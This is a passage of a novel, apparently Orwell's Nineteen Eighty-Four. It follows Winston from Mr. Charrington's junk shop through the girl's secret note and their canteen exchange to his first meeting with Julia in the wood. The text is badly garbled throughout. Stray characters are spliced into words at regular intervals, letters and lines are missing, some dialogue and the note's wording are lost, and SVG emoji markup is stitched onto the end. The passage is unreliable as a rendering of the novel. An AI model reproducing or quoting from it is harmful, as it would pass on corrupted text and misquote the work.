whole room, and in the warm dim light the place looked curiously inviting. The thought flitted through Winston's mind that it would probably be quite easy to rent the room for a few dollars a week, if he dared to take the risk. It was a wild, impossible notion, to be abandoned as soon as thought of; but the room had awakened in him a sort of nostalgia, a sort of ancestral memory. It seemed to him that he knew exactly what it felt like to sit in a room like this, in an armchair beside an open fire with your feet in M
the fender and a kettle on the hob, utterly alone, utterly secure, with nobody watching you, no voice pursuing you, no sound except the singing of the kettle and the friendly ticking of the clock.
"There's no telescreen!" he could not help murmuring.
"Ah," said the old man, "I never had one of those things. Too expensive. And I never seemed to feel the need of it, somehow. Now that's a nice gateleg table in the corner there. Though of course you'd have to put new hinges on it if you wanted to use the flaps."
re was a small bookcase in the other corner, and Winston had already gravitated toward it. It contained nothing but rubbish. The hunting-down and destruction of books had been done with the same thoroughness in the prole quarters as everywhere else. It was very unlikely that there existed anywhere in Oceania a copy of a book printed earlier than 1960. The old man, still carrying the lamp, was standing in front of a picture in a rosewood frame which hung on the other side of the fireplace, opposite the bed.
f you happen to be interested in old prints at all
" he began delicately.
Winston came across to examine the picture. It was a steel engraving of an oval building with rectangular windows, and a small tower in front. There was a railing running round the building, and at the rear end there was what appeared to be a statue. Winston gazed at it for some moments. It seemed vaguely familiar, though he did not remember the statue.
"The frame's fixed to the wall," said the old man, "but I could unscrew it for you, I M
"I know that building," said Winston finally. "It's a ruin now. It's in the middle of the street outside the Palace of Justice."
"That's right. Outside the Law Courts. It was bombed in
oh, many years ago. It was a church at one time. St. Clement's Dane, its name was." He smiled apologetically, as though conscious of saying something slightly ridiculous, and added: "Oranges and lemons, say the bells of St. Clement's!"
"What's that?" said Winston.
Oranges and lemons, say the bells of St. ClemenM
t's. That was a rhyme we had when I was a little boy. How it goes on I don't remember, but I do know it ended up, Here comes a candle to light you to bed, Here comes a chopper to chop off your head. It was a kind of a dance. They held out their arms for you to pass under, and when they came to Here comes a chopper to chop off your head they brought their arms down and caught you. It was just names of churches. All the London churches were in it
all the principal ones, that is."
Winston wondered vaguely to what cM
entury the church belonged. It was always difficult to determine the age of a London building. Anything large and impressive, if it was reasonably new in appearance, was automatically claimed as having been built since the Revolution, while anything that was obviously of earlier date was ascribed to some dim period called the Middle Ages. The centuries of capitalism were held to have produced nothing of any value. One could not learn history from architecture any more than one could learn it from books. Statues, inM
scriptions, memorial stones, the names of streets
anything that might throw light upon the past had been systematically altered.
"I never knew it had been a church," he said.
"There's a lot of them left, really," said the old man, "though they've been put to other uses. Now, how did that rhyme go? Ah! I've got it!
Oranges and lemons, say the bells of St. Clement's,
You owe me three farthings, say the bells of St. Martin's
there, now, that's as far as I can get. A farthing, that was a small copper coin, lookM
ed something like a cent."
"Where was St. Martin's?" said Winston.
"St. Martin's? That's still standing. It's in Victory Square, alongside the picture gallery. A building with a kind of a triangular porch and pillars in front, and a big flight of steps."
Winston knew the place well. It was a museum used for propaganda displays of various kinds
scale models of rocket bombs and Floating Fortresses, waxwork tableaux illustrating enemy atrocities, and the like.
"St. Martin's in the Fields it used to be called," sM
upplemented the old man, "though I don't recollect any fields anywhere in those parts."
Winston did not buy the picture. It would have been an even more incongruous possession than the glass paperweight, and impossible to carry home, unless it were taken out of its frame. But he lingered for some minutes more, talking to the old man, whose name, he discovered, was not Weeks
as one might have gathered from the inscription over the shopfront
but Charrington. Mr. Charrington, it seemed, was a widower aged sixty-tM
hree and had inhabited this shop for thirty years. Throughout that time he had been intending to alter the name over the window, but had never quite got to the point of doing it. All the while that they were talking the half-remembered rhyme kept running through Winston's head: Oranges and lemons, say the bells of St. Clement's, You owe me three farthings, say the bells of St. Martin's! It was curious, but when you said it to yourself you had the illusion of actually hearing bells, the bells of a lost London that sM
till existed somewhere or other, disguised and forgotten. From one ghostly steeple after another he seemed to hear them pealing forth. Yet so far as he could remember he had never in real life heard church bells ringing.
He got away from Mr. Charrington and went down the stairs alone, so as not to let the old man see him reconnoitering the street before stepping out of the door. He had already made up his mind that after a suitable interval
he would take the risk of visiting the shop again. It wasM
 perhaps not more dangerous than shirking an evening at the Center. The serious piece of folly had been to come back here in the first place, after buying the diary and without knowing whether the proprietor of the shop could be trusted. However
Yes, he thought again, he would come back. He would buy further scraps of beautiful rubbish. He would buy the engraving of St. Clement's Dane, take it out of its frame, and carry it home concealed under the jacket of his overalls. He would drag the rest of that poem ouM
t of Mr. Charrington's memory. Even the lunatic project of renting the room upstairs flashed momentarily through his mind again. For perhaps five seconds exaltation made him careless, and he stepped out onto the pavement without so much as a preliminary glance through the window. He had even started humming to an improvised tune
Oranges and lemons, say the bells of St. Clement's,
You owe me three farthings, say the
Suddenly his heart seemed to turn to ice and his bowels to water. A figure in blue overalls waM
s coming down the pavement, not ten meters away. It was the girl from the Fiction Department, the girl with dark hair. The light was failing, but there was no difficulty in recognizing her. She looked him straight in the face, then walked quickly on as though she had not seen him.
For a few seconds Winston was too paralyzed to move. Then he turned to the right and walked heavily away, not noticing for the moment that he was going in the wrong direction. At any rate, one question was settled. There was no doubting M
any longer that the girl was spying on him. She must have followed him here, because it was not credible that by pure chance she should have happened to be walking on the same evening up the same obscure back street, kilometers distant from any quarter where Party members lived. It was too great a coincidence. Whether she was really an agent of the Thought Police, or simply an amateur spy actuated by officiousness, hardly mattered. It was enough that she was watching him. Probably she had seen him go into the pub aM
It was an effort to walk. The lump of glass in his pocket banged against his thigh at each step, and he was half minded to take it out and throw it away. The worst thing was the pain in his belly. For a couple of minutes he had the feeling that he would die if he did not reach a lavatory soon. But there would be no public lavatories in a quarter like this. Then the spasm passed, leaving a dull ache behind.
The street was a blind alley. Winston halted, stood for several seconds wondering vaguely what to doM
, then turned round and began to retrace his steps. As he turned it occurred to him that the girl had only passed him three minutes ago and that by running he could probably catch up with her. He could keep on her track till they were in some quiet place, and then smash her skull in with a cobblestone. The piece of glass in his pocket would be heavy enough for the job. But he abandoned the idea immediately, because even the thought of making any physical effort was unbearable. He could not run, he could not strike M
a blow. Besides, she was young and lusty and would defend herself. He thought also of hurrying to the Community Center and staying there till the place closed, so as to establish a partial alibi for the evening. But that too was impossible. A deadly lassitude had taken hold of him. All he wanted was to get home quickly and then sit down and be quiet.
It was after twenty-two hours when he got back to the flat. The lights would be switched off at the main at twenty-three thirty. He went into the kitchen and swalloweM
d nearly a teacupful of Victory Gin. Then he went to the table in the alcove, sat down, and took the diary out of the drawer. But he did not open it at once. From the telescreen a brassy female voice was squalling a patriotic song. He sat staring at the marbled cover of the book, trying without success to shut the voice out of his consciousness.
It was at night that they came for you, always at night. The proper thing was to kill yourself before they got you. Undoubtedly some people did so. Many of the disappearanM
ces were actually suicides. But it needed desperate courage to kill yourself in a world where firearms, or any quick and certain poison, were completely unprocurable. He thought with a kind of astonishment of the biological uselessness of pain and fear, the treachery of the human body which always freezes into inertia at exactly the moment when a special effort is needed. He might have silenced the dark-haired girl if only he had acted quickly enough; but precisely because of the extremity of his danger he had lostM
 the power to act. It struck him that in moments of crisis one is never fighting against an external enemy but always against one's own body. Even now, in spite of the gin, the dull ache in his belly made consecutive thought impossible. And it is the same, he perceived, in all seemingly heroic or tragic situations. On the battlefield, in the torture chamber, on a sinking ship, the issues that you are fighting for are always forgotten, because the body swells up until it fills the universe, and even when you are notM
 paralyzed by fright or screaming with pain, life is a moment-to-moment struggle against hunger or cold or sleeplessness, against a sour stomach or an aching tooth.
He opened the diary. It was important to write something down. The woman on the telescreen had started a new song. Her voice seemed to stick into his brain like jagged splinters of glass. He tried to think of O'Brien, for whom, or to whom, the diary was written, but instead he began thinking of the things that would happen to him after the Thought PoliM
ce took him away. It would not matter if they killed you at once. To be killed was what you expected. But before death (nobody spoke of such things, yet everybody knew of them) there was the routine of confession that had to be gone through: the groveling on the floor and screaming for mercy, the crack of broken bones, the smashed teeth and bloody clots of hair. Why did you have to endure it, since the end was always the same? Why was it not possible to cut a few days or weeks out of your life? Nobody ever escaped M
detection, and nobody ever failed to confess. When once you had succumbed to thoughtcrime it was certain that by a given date you would be dead. Why then did that horror, which altered nothing, have to lie embedded in future time?
He tried with a little more success than before to summon up the image of O'Brien. "We shall meet in the place where there is no darkness," O'Brien had said to him. He knew what it meant, or thought he knew. The place where there is no darkness was the imagined future, which one would neM
ver see, but which, by foreknowledge, one could mystically share in. But with the voice from the telescreen nagging at his ears he could not follow the train of thought further. He put a cigarette in his mouth. Half the tobacco promptly fell out on to his tongue, a bitter dust which was difficult to spit out again. The face of Big Brother swam into his mind, displacing that of O'Brien. Just as he had done a few days earlier, he slid a coin out of his pocket and looked at it. The face gazed up at him, heavy, calm, pM
rotecting, but what kind of smile was hidden beneath the dark mustache? Like a leaden knell the words came back at him:
IGNORANCE IS STRENGTH.
It was the middle of the morning, and Winston had left his cubicle to go to the lavatory.
A solitary figure was coming toward him from the other end of the long, brightly lit corridor. It was the girl with dark hair. Four days had gone past since the evening when he had run into her outside the junk shop. As she came nearer he saw that hM
er right arm was in a sling, not noticeable at a distance because it was of the same color as her overalls. Probably she had crushed her hand while swinging round one of the big kaleidoscopes on which the plots of novels were "roughed in." It was a common accident in the Fiction Department.
They were perhaps four meters apart when the girl stumbled and fell almost flat on her face. A sharp cry of pain was wrung out of her. She must have fallen right on the injured arm. Winston stopped short. The girl had risen to M
her knees. Her face had turned a milky yellow color against which her mouth stood out redder than ever. Her eyes were fixed on his, with an appealing expression that looked more like fear than pain.
A curious emotion stirred in Winston's heart. In front of him was an enemy who was trying to kill him; in front of him, also, was a human creature, in pain and perhaps with a broken bone. Already he had instinctively started forward to help her. In the moment when he had seen her fall on the bandaged arm, it had been aM
s though he felt the pain in his own body.
"You're hurt?" he said.
"It's nothing. My arm. It'll be all right in a second."
She spoke as though her heart were fluttering. She had certainly turned very pale.
"You haven't broken anything?"
"No, I'm all right. It hurt for a moment, that's all."
She held out her free hand to him, and he helped her up. She had regained some of her color, and appeared very much better.
"It's nothing," she repeated shortly. "I only gave my wrist a bit of a bang. Thanks, comrade!"
nd with that she walked on in the direction in which she had been going, as briskly as though it had really been nothing. The whole incident could not have taken as much as half a minute. Not to let one's feelings appear in one's face was a habit that had acquired the status of an instinct, and in any case they had been standing straight in front of a telescreen when the thing happened. Nevertheless it had been very difficult not to betray a momentary surprise, for in the two or three seconds while he was helping hM
er up the girl had slipped something into his hand. There was no question that she had done it intentionally. It was something small and flat. As he passed through the lavatory door he transferred it to his pocket and felt it with the tips of his fingers. It was a scrap of paper folded into a square.
While he stood at the urinal he managed, with a little more fingering, to get it unfolded. Obviously there must be a message of some kind written on it. For a moment he was tempted to take it into one of the water cloM
sets and read it at once. But that would be shocking folly, as he well knew. There was no place where you could be more certain that the telescreens were watched continuously.
He went back to his cubicle, sat down, threw the fragment of paper casually among the other papers on the desk, put on his spectacles and hitched the speakwrite toward him. "Five minutes," he told himself, "five minutes at the very least!" His heart bumped in his breast with frightening loudness. Fortunately the piece of work he was engaged M
on was mere routine, the rectification of a long list of figures, not needing close attention.
Whatever was written on the paper, it must have some kind of political meaning. So far as he could see there were two possibilities. One, much the more likely, was that the girl was an agent of the Thought Police, just as he had feared. He did not know why the Thought Police should choose to deliver their messages in such a fashion, but perhaps they had their reasons. The thing that was written on the paper might be a thM
reat, a summons, an order to commit suicide, a trap of some description. But there was another, wilder possibility that kept raising its head, though he tried vainly to suppress it. This was, that the message did not come from the Thought Police at all, but from some kind of underground organization. Perhaps the Brotherhood existed after all! Perhaps the girl was part of it! No doubt the idea was absurd, but it had sprung into his mind in the very instant of feeling the scrap of paper in his hand. It was not till aM
 couple of minutes later that the other, more probable explanation had occurred to him. And even now, though his intellect told him that the message probably meant death
still, that was not what he believed, and the unreasonable hope persisted, and his heart banged, and it was with difficulty that he kept his voice from trembling as he murmured his figures into the speakwrite.
He rolled up the completed bundle of work and slid it into the pneumatic tube. Eight minutes had gone by. He readjusted his spectacles onM
 his nose, sighed, and drew the next batch of work toward him, with the scrap of paper on top of it. He flattened it out. On it was written, in a large unformed handwriting:
For several seconds he was too stunned even to throw the incriminating thing into the memory hole. When he did so, although he knew very well the danger of showing too much interest, he could not resist reading it once again, just to make sure that the words were really there.
For the rest of the morning it was very difficult to wM
ork. What was even worse than having to focus his mind on a series of niggling jobs was the need to conceal his agitation from the telescreen. He felt as though a fire were burning in his belly. Lunch in the hot, crowded, noise-filled canteen was torment. He had hoped to be alone for a little while during the lunch hour, but as bad luck would have it the imbecile Parsons flopped down beside him, the tang of his sweat almost defeating the tinny smell of stew, and kept up a stream of talk about the preparations for HM
ate Week. He was particularly enthusiastic about a papier-m
 model of Big Brother's head, two meters wide, which was being made for the occasion by his daughter's troop of Spies. The irritating thing was that in the racket of voices Winston could hardly hear what Parsons was saying, and was constantly having to ask for some fatuous remark to be repeated. Just once he caught a glimpse of the girl, at a table with two other girls at the far end of the room. She appeared not to have seen him, and he did not look M
in that direction again.
The afternoon was more bearable. Immediately after lunch there arrived a delicate, difficult piece of work which would take several hours and necessitated putting everything else aside. It consisted in falsifying a series of production reports of two years ago in such a way as to cast discredit on a prominent member of the Inner Party who was now under a cloud. This was the kind of thing that Winston was good at, and for more than two hours he succeeded in shutting the girl out of his mindM
 altogether. Then the memory of her face came back, and with it a raging, intolerable desire to be alone. Until he could be alone it was impossible to think this new development out. Tonight was one of his nights at the Community Center. He wolfed another tasteless meal in the canteen, hurried off to the Center, took part in the solemn foolery of a "discussion group," played two games of table tennis, swallowed several glasses of gin, and sat for half an hour through a lecture entitled "Ingsoc in relation to chess.M
" His soul writhed with boredom, but for once he had had no impulse to shirk his evening at the Center. At the sight of the words I love you the desire to stay alive had welled up in him, and the taking of minor risks suddenly seemed stupid. It was not till twenty-three hours, when he was home and in bed
in the darkness, where you were safe even from the telescreen so long as you kept silent
that he was able to think continuously.
It was a physical problem that had to be solved: how to get in touch with the giM
rl and arrange a meeting. He did not consider any longer the possibility that she might be laying some kind of trap for him. He knew that it was not so, because of her unmistakable agitation when she handed him the note. Obviously she had been frightened out of her wits, as well she might be. Nor did the idea of refusing her advances even cross his mind. Only five nights ago he had contemplated smashing her skull in with a cobblestone; but that was of no importance. He thought of her naked, youthful body, as he hadM
 seen it in his dream. He had imagined her a fool like all the rest of them, her head stuffed with lies and hatred, her belly full of ice. A kind of fever seized him at the thought that he might lose her, the white youthful body might slip away from him! What he feared more than anything else was that she would simply change her mind if he did not get in touch with her quickly. But the physical difficulty of meeting was enormous. It was like trying to make a move at chess when you were already mated. Whichever way M
you turned, the telescreen faced you. Actually, all the possible ways of communicating with her had occurred to him within five minutes of reading the note; but now, with time to think, he went over them one by one, as though laying out a row of instruments on a table.
Obviously the kind of encounter that had happened this morning could not be repeated. If she had worked in the Records Department it might have been comparatively simple, but he had only a very dim idea whereabouts in the building the Fiction DepartM
ment lay, and he had no pretext for going there. If he had known where she lived, and at what time she left work, he could have contrived to meet her somewhere on her way home; but to try to follow her home was not safe, because it would mean loitering about outside the Ministry, which was bound to be noticed. As for sending a letter through the mails, it was out of the question. By a routine that was not even secret, all letters were opened in transit. Actually, few people ever wrote letters. For the messages thatM
 it was occasionally necessary to send, there were printed postcards with long lists of phrases, and you struck out the ones that were inapplicable. In any case he did not know the girl's name, let alone her address. Finally he decided that the safest place was the canteen. If he could get her at a table by herself, somewhere in the middle of the room, not too near the telescreens, and with a sufficient buzz of conversation all round
if these conditions endured for, say, thirty seconds, it might be possible to exM
For a week after this, life was like a restless dream. On the next day she did not appear in the canteen until he was leaving it, the whistle having already blown. Presumably she had been changed onto a later shift. They passed each other without a glance. On the day after that she was in the canteen at the usual time, but with three other girls and immediately under a telescreen. Then for three dreadful days she did not appear at all. His whole mind and body seemed to be afflicted with an unbeM
arable sensitivity, a sort of transparency, which made every movement, every sound, every contact, every word that he had to speak or listen to, an agony. Even in sleep he could not altogether escape from her image. He did not touch the diary during those days. If there was any relief, it was in his work, in which he could sometimes forget himself for ten minutes at a stretch. He had absolutely no clue as to what had happened to her. There was no inquiry he could make. She might have been vaporized, she might have M
committed suicide, she might have been transferred to the other end of Oceania
worst and likeliest of all, she might simply have changed her mind and decided to avoid him.
The next day she reappeared. Her arm was out of the sling and she had a band of sticking plaster round her wrist. The relief of seeing her was so great that he could not resist staring directly at her for several seconds. On the following day he very nearly succeeded in speaking to her. When he came into the canteen she was sitting at a table M
well out from the wall, and was quite alone. It was early, and the place was not very full. The queue edged forward till Winston was almost at the counter, then was held up for two minutes because someone in front was complaining that he had not received his tablet of saccharine. But the girl was still alone when Winston secured his tray and began to make for her table. He walked casually toward her, his eyes searching for a place at some table beyond her. She was perhaps three meters away from him. Another two secM
onds would do it. Then a voice behind him called, "Smith!" He pretended not to hear. "Smith!" repeated the voice, more loudly. It was no use. He turned round. A blond-headed, silly-faced young man named Wilsher, whom he barely knew, was inviting him with a smile to a vacant place at his table. It was not safe to refuse. After having been recognized, he could not go and sit at a table with an unattended girl. It was too noticeable. He sat down with a friendly smile. The silly blond face beamed into his. Winston had M
a hallucination of himself smashing a pickax right into the middle of it. The girl's table filled up a few minutes later.
But she must have seen him coming toward her, and perhaps she would take the hint. Next day he took care to arrive early. Sure enough, she was at a table in about the same place, and again alone. The person immediately ahead of him in the queue was a small, swiftly moving, beetlelike man with a flat face and tiny, suspicious eyes. As Winston turned away from the counter with his tray, he saw thM
at the little man was making straight for the girl's table. His hopes sank again. There was a vacant place at a table further away, but something in the little man's appearance suggested that he would be sufficiently attentive to his own comfort to choose the emptiest table. With ice at his heart Winston followed. It was no use unless he could get the girl alone. At this moment there was a tremendous crash. The little man was sprawling on all fours, his tray had gone flying, two streams of soup and coffee were flowM
ing across the floor. He started to his feet with a malignant glance at Winston, whom he evidently suspected of having tripped him up. But it was all right. Five seconds later, with a thundering heart, Winston was sitting at the girl's table.
He did not look at her. He unpacked his tray and promptly began eating. It was all-important to speak at once, before anyone else came, but now a terrible fear had taken possession of him. A week had gone by since she had first approached. She would have changed her mind, sheM
 must have changed her mind! It was impossible that this affair should end successfully; such things did not happen in real life. He might have flinched altogether from speaking if at this moment he had not seen Ampleforth, the hairy-eared poet, wandering limply round the room with a tray, looking for a place to sit down. In his vague way Ampleforth was attached to Winston, and would certainly sit down at his table if he caught sight of him. There was perhaps a minute in which to act. Both Winston and the girl wereM
 eating steadily. The stuff they were eating was a thin stew, actually a soup, of haricot beans. In a low murmur Winston began speaking. Neither of them looked up; steadily they spooned the watery stuff into their mouths, and between spoonfuls exchanged the few necessary words in low expressionless voices.
"What time do you leave work?"
"Where can we meet?"
"Victory Square, near the monument."
"It's full of telescreens."
"It doesn't matter if there's a crowd."
e up to me until you see me among a lot of people. And don't look at me. Just keep somewhere near me.
Ampleforth failed to see Winston and sat down at another table. The girl finished her lunch quickly and made off, while Winston stayed to smoke a cigarette. They did not speak again, and, so far as it was possible for two people sitting on opposite sides of the same table, they did not look at one another.
Winston was in Victory Square before the appointed time. He wM
andered round the base of the enormous fluted column, at the top of which Big Brother's statue gazed southward toward the skies where he had vanquished the Eurasian airplanes (the Eastasian airplanes, it had been, a few years ago) in the Battle of Airstrip One. In the street in front of it there was a statue of a man on horseback which was supposed to represent Oliver Cromwell. At five minutes past the hour the girl had still not appeared. Again the terrible fear seized upon Winston. She was not coming, she had chaM
nged her mind! He walked slowly up to the north side of the square and got a sort of pale-colored pleasure from identifying St. Martin's church, whose bells, when it had bells, had chimed "You owe me three farthings." Then he saw the girl standing at the base of the monument, reading or pretending to read a poster which ran spirally up the column. It was not safe to go near her until some more people had accumulated. There were telescreens all round the pediment. But at this moment there was a din of shouting and aM
 zoom of heavy vehicles from somewhere to the left. Suddenly everyone seemed to be running across the square. The girl nipped nimbly round the lions at the base of the monument and joined in the rush. Winston followed. As he ran, he gathered from some shouted remarks that a convoy of Eurasian prisoners was passing.
Already a dense mass of people was blocking the south side of the square. Winston, at normal times the kind of person who gravitates to the outer edge of any kind of scrimmage, shoved, butted, squirmed M
his way forward into the heart of the crowd. Soon he was within arm's length of the girl, but the way was blocked by an enormous prole and an almost equally enormous woman, presumably his wife, who seemed to form an impenetrable wall of flesh. Winston wriggled himself sideways, and with a violent lunge managed to drive his shoulder between them. For a moment it felt as though his entrails were being ground to pulp between the two muscular hips, then he had broken through, sweating a little. He was next to the girl.M
 They were shoulder to shoulder, both staring fixedly in front of them.
A long line of trucks, with wooden-faced guards armed with submachine guns standing upright in each corner, was passing slowly down the street. In the trucks little yellow men in shabby greenish uniforms were squatting, jammed close together. Their sad Mongolian faces gazed out over the sides of the trucks, utterly incurious. Occasionally when a truck jolted there was a clank-clank of metal: all the prisoners were wearing leg irons. Truckload M
after truckload of the sad faces passed. Winston knew they were there, but he saw them only intermittently. The girl's shoulder, and her arm right down to the elbow, were pressed against his. Her cheek was almost near enough for him to feel its warmth. She had immediately taken charge of the situation, just as she had done in the canteen. She began speaking in the same expressionless voice as before, with lips barely moving, a mere murmur easily drowned by the din of voices and the rumbling of the trucks.
"Can you get Sunday afternoon off?"
"Then listen carefully. You'll have to remember this. Go to Paddington Station
With a sort of military precision that astonished him, she outlined the route that he was to follow. A half-hour railway journey; turn left outside the station; two kilometers along the road; a gate with the top bar missing; a path across a field; a grass-grown lane; a track between bushes; a dead tree with moss on it. It was as though she had a map inside her head. "CM
an you remember all that?" she murmured finally.
"You turn left, then right, then left again. And the gate's got no top bar."
"About fifteen. You may have to wait. I'll get there by another way. Are you sure you remember everything?"
"Then get away from me as quick as you can."
She need not have told him that. But for the moment they could not extricate themselves from the crowd. The trucks were still filing past, the people still insatiably gaping. At the start there had beenM
 a few boos and hisses, but it came only from the Party members among the crowd, and had soon stopped. The prevailing emotion was simply curiosity. Foreigners, whether from Eurasia or from Eastasia, were a kind of strange animal. One literally never saw them except in the guise of prisoners, and even as prisoners one never got more than a momentary glimpse of them. Nor did one know what became of them, apart from the few who were hanged as war criminals; the others simply vanished, presumably into forced-labor campM
s. The round Mongol faces had given way to faces of a more European type, dirty, bearded, and exhausted. From over scrubby cheekbones eyes looked into Winston's, sometimes with strange intensity, and flashed away again. The convoy was drawing to an end. In the last truck he could see an aged man, his face a mass of grizzled hair, standing upright with wrists crossed in front of him, as though he were used to having them bound together. It was almost time for Winston and the girl to part. But at the last moment, whiM
le the crowd still hemmed them in, her hand felt for his and gave it a fleeting squeeze.
It could not have been ten seconds, and yet it seemed a long time that their hands were clasped together. He had time to learn every detail of her hand. He explored the long fingers, the shapely nails, the work-hardened palm with its row of calluses, the smooth flesh under the wrist. Merely from feeling it he would have known it by sight. In the same instant it occurred to him that he did not know what color the girl's eyes weM
re. They were probably brown, but people with dark hair sometimes had blue eyes. To turn his head and look at her would have been inconceivable folly. With hands locked together, invisible among the press of bodies, they stared steadily in front of them, and instead of the eyes of the girl, the eyes of the aged prisoner gazed mournfully at Winston out of nests of hair.
Winston picked his way up the lane through dappled light and shade, stepping out into pools of gold wherever the boughs parted. Under the trees M
to the left of them the ground was misty with bluebells. The air seemed to kiss one's skin. It was the second of May. From somewhere deeper in the heart of the wood came the droning of ring doves.
He was a bit early. There had been no difficulties about the journey, and the girl was so evidently experienced that he was less frightened than he would normally have been. Presumably she could be trusted to find a safe place. In general you could not assume that you were much safer in the country than in London. There M
were no telescreens, of course, but there was always the danger of concealed microphones by which your voice might be picked up and recognized; besides, it was not easy to make a journey by yourself without attracting attention. For distances of less than a hundred kilometers it was not necessary to get your passport endorsed, but sometimes there were patrols hanging about the railway stations, who examined the papers of any Party member they found there and asked awkward questions. However, no patrols had appearedM
, and on the walk from the station he had made sure by cautious backward glances that he was not being followed. The train was full of proles, in holiday mood because of the summery weather. The wooden-seated carriage in which he traveled was filled to overflowing by a single enormous family, ranging from a toothless great-grandmother to a month-old baby, going out to spend an afternoon with "in-laws" in the country, and, as they freely explained to Winston, to get hold of a little black-market butter.
dened, and in a minute he came to the foot-path she had told him of, a mere cattle track which plunged between the bushes. He had no watch, but it could not be fifteen yet. The bluebells were so thick underfoot that it was impossible not to tread on them. He knelt down and began picking some, partly to pass the time away, but also from a vague idea that he would like to have a bunch of flowers to offer to the girl when they met. He had got together a big bunch and was smelling their faint sickly scent when a sound M
at his back froze him, the unmistakable crackle of a foot on twigs. He went on picking bluebells. It was the best thing to do. It might be the girl, or he might have been followed after all. To look round was to show guilt. He picked another and another. A hand fell lightly on his shoulder.
He looked up. It was the girl. She shook her head, evidently as a warning that he must keep silent, then parted the bushes and quickly led the way along the narrow track into the wood. Obviously she had been that way before, foM
r she dodged the boggy bits as though by habit. Winston followed, still clasping his bunch of flowers. His first feeling was relief, but as he watched the strong slender body moving in front of him, with the scarlet sash that was just tight enough to bring out the curve of her hips, the sense of his own inferiority was heavy upon him. Even now it seemed quite likely that when she turned round and looked at him she would draw back after all. The sweetness of the air and the greenness of the leaves daunted him. AlreaM
dy, on the walk from the station, the May sunshine had made him feel dirty and etiolated, a creature of indoors, with the sooty dust of London in the pores of his skin. It occurred to him that till now she had probably never seen him in broad daylight in the open. They came to the fallen tree that she had spoken of. The girl hopped over and forced apart the bushes, in which there did not seem to be an opening. When Winston followed her, he found that they were in a natural clearing, a tiny grassy knoll surrounded bM
y tall saplings that shut it in completely. The girl stopped and turned.
"Here we are," she said.
He was facing her at several paces' distance. As yet he did not dare move nearer to her.
"I didn't want to say anything in the lane," she went on, "in case there's a mike hidden there. I don't suppose there is, but there could be. There's always the chance of one of those swine recognizing your voice. We're all right here."
He still had not the courage to approach her. "We're all right here?" he repeated stupidly.
"Yes. Look at the trees." They were small ashes, which at some time had been cut down and had sprouted up again into a forest of poles, none of them thicker than one's wrist. "There's nothing big enough to hide a mike in. Besides, I've been here before."
They were only making conversation. He had managed to move closer to her now. She stood before him very upright, with a smile on her face that looked faintly ironical, as though she were wondering why he was so slow to act. The bluebells had cascaded on to the grM
ound. They seemed to have fallen of their own accord. He took her hand.
"Would you believe," he said, "that till this moment I didn't know what color your eyes were?" They were brown, he noted, a rather light shade of brown, with dark lashes. "Now that you've seen what I'm really like, can you still bear to look at me?"
"I'm thirty-nine years old. I've got a wife that I can't get rid of. I've got varicose veins. I've got five false teeth."
"I couldn't care less," said the girl.
it was hard to say by whose act, she was in his arms. At the beginning he had no feeling except sheer incredulity. The youthful body was strained against his own, the mass of dark hair was against his face, and yes! actually she had turned her face up and he was kissing the wide red mouth. She had clasped her arms about his neck, she was calling him darling, precious one, loved one. He had pulled her down on to the ground, she was utterly unresisting, he could do what he liked with her. But the truth was that he haM
d no physical sensation except that of mere contact. All he felt was incredulity and pride. He was glad that this was happening, but he had no physical desire. It was too soon, her youth and prettiness had frightened him, he was too much used to living without women
he did not know the reason. The girl picked herself up and pulled a bluebell out of her hair. She sat against him, putting her arm round his waist.
"Never mind, dear. There's no hurry. We've got the whole afternoon. Isn't this a splendid hide-out? I M
found it when I got lost once on a community hike. If anyone was coming you could hear them a hundred meters away."
"What is your name?" said Winston.
"Julia. I know yours. It's Winston
"How did you find that out?"
"I expect I'm better at finding things out than you are, dear. Tell me, what did you think of me before that day I gave you the note?"
He did not feel any temptation to tell lies to her. It was even a sort of love offering to start off by telling the worst.
"I hated the sight of yM
ou," he said. "I wanted to rape you and then murder you afterwards. Two weeks ago I thought seriously of smashing your head in with a cobblestone. If you really want to know, I imagined that you had something to do with the Thought Police."
The girl laughed delightedly, evidently taking this as a tribute to the excellence of her disguise.
"Not the Thought Police! You didn't honestly think that?"
"Well, perhaps not exactly that. But from your general appearance
merely because you're young and fresh and healthy,M{
I thought that probably
"You thought I was a good Party member. Pure in word and deed. Banners, processions, slogans, games, community hikes
all that stuff. And you thought that if I had a quarter of a chance I'd denounce you as a thought-criminal and get you killed off?"
"Yes, something of that kind. A great many young girls are like that, you know."h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#EA5A47" d="M59.5,25c0-6.9036-5.5964-12.5-12.5-12.5c-4.7533,0-8.8861,2.6536-11,6.5598 C33.8861,15.1536,29.7533,12.5,25,12.5c-6.9036,0-12.5,5.5964-12.5,12.5c0,2.9699,1.0403,5.6942,2.7703,7.8387l-0.0043,0.0034 L36,58.5397l20.7339-25.6975l-0.0043-0.0034C58.4597,30.6942,59.5,27.9699,59.5,25z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" strMg
oke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M59.5,25 c0-6.9036-5.5964-12.5-12.5-12.5c-4.7533,0-8.8861,2.6536-11,6.5598C33.8861,15.1536,29.7533,12.5,25,12.5 c-6.9036,0-12.5,5.5964-12.5,12.5c0,2.9699,1.0403,5.6942,2.7703,7.8387l-0.0043,0.0034L36,58.5397l20.7339-25.6975l-0.0043-0.0034 C58.4597,30.6942,59.5,27.9699,59.5,25z"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="35.9997" cy="35.9989" r="24" fill="#fcea2b"/>
    <path fill="#fff" d="M51.58,34.554a11.5549,11.5549,0,0,1,1.2192,4.408C42.9625,47.2342,30.1775,50.5842,28.1236,51.08a11.4345,11.4345,0,0,1-2.6837-3.535l.0985-.0489S40.39,44.1243,51.4407,34.7013Z"/>
    <path fill="#ea5a47" d="M52.799,38.962c.2974,4.6205-2.4688,9.3006-9.0418,12.5673C37.1215,54.8271,31.6358,54.17,28.1237,51.08,30.1775,50.5841,42.9626,47.234,52.799,3M
    <path fill="#92d3f5" d="M67.6926,32.9089a4.2419,4.2419,0,0,1-5.3735,2.6717c-3.9838-1.3386-6.68-6.6869-6.7069-6.74.213-.0912,5.4464-2.637,9.41-1.3052a4.241,4.241,0,0,1,2.6706,5.3737Z"/>
